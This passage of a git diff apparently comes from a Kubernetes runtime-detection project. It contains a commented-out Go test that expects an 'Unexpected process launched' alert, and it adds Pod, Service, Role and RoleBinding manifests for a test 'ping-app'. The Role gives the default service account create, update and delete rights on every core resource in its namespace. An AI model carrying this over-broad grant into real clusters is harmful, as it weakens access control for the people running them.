alert.Labels["rule_name"] +// if ruleOk { +// if ruleName == "Unexpected process launched" { +// count++ +// } +// } +// } + +// testutils.AssertContains(t, alerts, "Unexpected process launched", "ls", "ping-app") + +// assert.Equal(t, 1, count, "Expected 1 alert of type 'Unexpected process launched' but got %d", count) +// } diff --git a/tests/resources/ping-app-role-binding.yaml b/tests/resources/ping-app-role-binding.yaml new file mode 100644 index 0000000000..d7199b1412 --- /dev/null +++ b/tests/resources/ping-app-role-binding.yaml @@ -0,0 +1,13 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + namespace: default + name: ping-app-role-binding +subjects: +- kind: ServiceAccount + name: "default" + namespace: default +roleRef: + kind: Role + name: ping-app-role + apiGroup: rbac.authorization.k8s.io diff --git a/tests/resources/ping-app-role.yaml b/tests/resources/ping-app-role.yaml new file mode 100644 index 0000000000..36f08b8080 --- /dev/null +++ b/tests/resources/ping-app-role.yaml @@ -0,0 +1,9 @@ +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + namespace: default + name: ping-app-role +rules: +- apiGroups: [""] + resources: ["*"] + verbs: ["get", "list", "watch", "create", "update", "delete"] \ No newline at end of file diff --git a/tests/resources/ping-app-service.yaml b/tests/resources/ping-app-service.yaml new file mode 100644 index 0000000000..6677b18363 --- /dev/null +++ b/tests/resources/ping-app-service.yaml @@ -0,0 +1,13 @@ +apiVersion: v1 +kind: Service +metadata: + name: ping-app + labels: + app: ping-app +spec: + selector: + app: ping-app + ports: + - protocol: TCP + port: 80 + targetPort: 80 \ No newline at end of file diff --git a/tests/resources/ping-app.yaml b/tests/resources/ping-app.yaml new file mode 100644 index 0000000000..a724172b21 --- /dev/null +++ b/tests/resources/ping-app.yaml @@ -0,0 +1,14 @@ +apiVersion: v1 +kind: Pod +metadata: + name: ping-app + labels: + app: ping-app +spec: + + containers: + - name: ping-app + image: docker.io/amitschendel/ping-app:latest + imagePullPolicy: Always + ports: + - containerPort: 80